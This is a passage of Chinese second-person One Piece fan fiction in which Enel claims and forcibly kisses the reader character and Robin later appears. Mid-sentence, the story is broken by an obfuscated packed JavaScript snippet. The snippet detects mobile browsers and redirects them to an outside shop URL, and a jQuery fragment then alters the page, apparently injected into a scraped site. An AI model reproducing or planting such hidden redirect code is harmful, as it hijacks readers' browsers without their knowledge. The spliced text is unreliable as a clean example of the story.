娜美掏出天候棒,弱者作出抗争到底的举措,换作平常他们应该遭受雷击神罚,但你不愿。你在发抖,因为和他在一起而兴奋成这样吗?好吧,可以,只要他们守诺离开,他可以免去他们的罪,嗯,暂时。 甘福尔把先前质问的话再问一遍,艾尼路这次回答了。“6年前,我们攻进你们这座岛时,你那些被我们捉住的手下还在卖力地为我干活呢。” 甘福尔:“你把他们怎么了?” 艾尼路笑言:“他们都很有力气,是一群很优秀的人才呢。” “6年过去,那个大工程也已经结束。这里对我来讲已经没有用处了。我要离开这里,带着我亲爱的妻子。哦,我也已经说过了,要和你打声招呼,做个道别。” ……你冒着虚汗,额前暴起青筋“我不是你的妻子。” 艾尼路侧首亲过你的侧脸,让你打了个寒颤,“啊,确实缺了场婚礼,别担心,我之后会为我们补上的,会是一场最华丽而盛大的婚礼哦哈哈。” 你想跑了,但理智遏制了你的冲动,你听着艾尼路继续道:“不过,这些空岛的居民们还真是头脑简单。居然只把这座岛当成是一块巨大的巴斯。” “我们将这座岛强行夺过来的理由,和青海的苍蝇们踏入这座岛的理由,还有山迪亚人执意要返回故乡的理由都是相同的。”他抱着你站了起来,“所有人渴望在这座岛上得到的东西都是一样的。” “……山多拉的遗产。“ 艾尼路嘲笑甘福尔的无知,他已经欣赏够了,甘福尔的震惊,弱者的恐惧,当然,还有他怀里乖巧可爱的你,其实他没打算过跟娶妻生子种种之类的事情,但这不妨碍他在遇见你时于本能的直觉与喜爱明白你就是那个他想要的人。 他很慷慨,你是他的妻子,就算是他的半身,他愿意给你一个不用参与这场游戏就同他一起离开的机会。 那要离开的八个人里,你不算在内。 你被艾尼路成功掳走,他把你同化成电流带你离开的过程很像你扭曲空间瞬移的过程,能够传送的距离却比你的能力要高出几倍。 他很强,这毋庸置疑。你记得他在漫画里的设定,整座空岛几乎都在他的掌控之下,即使你现在瞬移离开他一段距离,他追上来也只是眨眼间的事,现在逃跑不划算。只有等到碰到路飞他们的时候吗? 艾尼路最终停在一条小径上,裸足而行的男人比你高了一个头不止,行路速度不快,倒像是在有意照顾你的步速。周围实在寂静得慌,这里的动物好想都被周围打响的战争给惊跑,艾尼路是特意选在这里停下的吗?为什么?他自从出现起就一直令你迷惑的所作所为让你不得不开口试探原因,你问他,为何把你称作妻子。你们明明在此之前没有见过面才对。 艾尼路给了你一个意想不到的回答:“从你踏入这里的时候。” 你:“……哈?” 他转首看你,你因惊讶而挑起的眉毛,俩片微张的嘴唇,莹润的水珠点在你的下唇,像是在引诱他来亲吻你一样。艾尼路弯下腰伸手勾起你的下巴,你仄眉一把抓住他的手腕把他扯开,厉声道,“别对我动手动脚。” 艾尼路想要的东西没有得不到的,他行动得太快,等你意识到什么的时候他已经获取了他所想之物,你擦过嘴唇,而他箍住你的手,他:“我给了你很多优待。” “什么?” “在那群白色贝雷帽的蠢货面前,你不是质疑我?呵呵,如果你们的罪行真有那么严重,为什么神明不朝你们降下惩罚,我可都记着呢。” “光是质疑神明的不作为,按常理来讲就该降下惩罚了,但我没这么做,甚至慷慨地原谅了你,依旧愿意让你做我的神妃。” “这种待遇,可是只有你才能享受的啊。■■。” 艾尼路故意与你凑得极近,你们能够清晰地看到彼此眼中的自己,你还是不能理解,怎么会?为什么?艾尼路对你一见钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538349|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情?这个猜测太过可笑了。可笑到一个山迪亚人出现在你们面前才回过神来,那人喊过艾尼路的名字,手中的长枪突刺袭来,艾尼路抵挡得毫不费力。 “没看到我正在和妻子约会?” “真是没眼力见啊。” 电流声窜动,你已经不知见到第几个人倒在你们的面前。越多人倒下,你的脸色就越难看,艾尼路无奈地叹息,说你真是娇气,这种事情在这个游戏里绝对不会少见,除却他和那群倒下的人,这里对立之派不在少数。 他已经很是仁慈,没让他们丧命当场。 艾尼路拍过你的脑袋,给你喂了颗苹果,看你闷闷接过,他抱臂而立,“嘛,等到无际大地之后,这些事就不会发生了。” 你:“什么是无际大地?” 苹果抛到半空,又落于他手。艾尼路侧过身来,对着你的嘴唇弧度上扬,而树影投落,遮蔽了他半边脸庞,艾尼路指向天空,回答你,“月球。” 你:…… 该死的,那雷霆画面,你记起来了。 —— “■■?” 罗宾看着你和艾尼路,难得面露疑惑。“为什么你会和……这位呆在一起?” 艾尼路揽着你,一旦休憩,他就像那种有肢体接触渴望症的家伙一样,尤其喜欢把你整个人抱在怀里,让你左右动弹不得。你强忍不适,唤道“罗宾……” 这个状况似乎也不需要多少的解释。 “哦,又是我亲爱的神妃的同伴啊。” 罗宾:你的择偶条件原来是这样的? 你:……我不是,我没有。别用那种眼神看着我啊。 艾尼路没有对你们的眼神官司作出评价,你还算乖巧的在他怀里呆着,这就足够了。他双腿盘着,看着罗宾,黑发蓝眼的女人,“你是青海上的学者?仅凭那些历史正文就能走到这里,真是了不起。” “只是可惜,你晚来了几年,你想要的那些黄金已经全部拿走了。” 艾尼路在侃侃而谈,对于这里以及黄金的见解比起科普倒更像是在炫耀他的权威,妮可罗宾不愧是深耕于黑暗集团多年的人物面对此情此景,她要淡定得多,她面不改色,通过几番套话来套取情报,只是可惜,她所说的话里参杂的东西反而喂给了艾尼路未曾料想过的讯息。 黄金钟。 你在内心数秒,罗宾和你都在想办法解脱这个困境。 在艾尼路的身边你始终感到焦躁不安,莫名其妙的好感还有那些无时无刻不在冲击你的画面,三观不合是完全不应该在一起的。 即使他的脸确实算你的菜。 谈话间的空隙他眸光凝滞,电流,又是那该死的电流声,汗毛竖起,不祥的预感驱使你立即行动起来,你必须阻止他,必须! “停下!” 你扯过他那两比常人宽长许多的耳垂,嘴唇附上,锐齿咬破他的唇瓣,他被你这么一扑居然还真的往后倒下,你急促地喘息过后抓扯着他的耳垂,怒斥:“既然还想让我当你的神妃,就把那该死的电流给我停下!这里没有敌人!” “而那所谓的神罚也已经足够了!艾尼路!” 嘴唇还残存着痛意的艾尼路此刻却是心情大好,他捧过你的脸身后靠在坚硬到咯人的墙沿,炽热的体温好像要融化你的嘴唇,强势的掠夺让你呼吸不畅,你忍过一息,两息,他把伤口还给你。 他愉悦大笑,说你终于接受他了?亲爱的神妃。你只想回他做梦,你个神经病。艾尼路观你神情本又想收取好处,但顶上的战斗接近尾声,他数算过的结果已经达成。 该做他必须要做的事情了,至于那个老鼠,谁知道呢?太多鼠卒了,懒得去想。 来了,又来了,磅礴的雷声,巨额伏特的闪电,那位于你们顶端的云层被瞬间炸开,声响轰动且炸裂。一片混乱之中你终于借机扭转空间捉过罗宾的手几度穿梭,远离那个令你极为不适的神经病,罗宾看你紧张不适到铺满汗珠的脸,什么也没问,只取出手帕为你擦汗,力道很轻柔,嗓音也是分外柔和,“辛苦了,■■。” “……你们怎么在这儿?”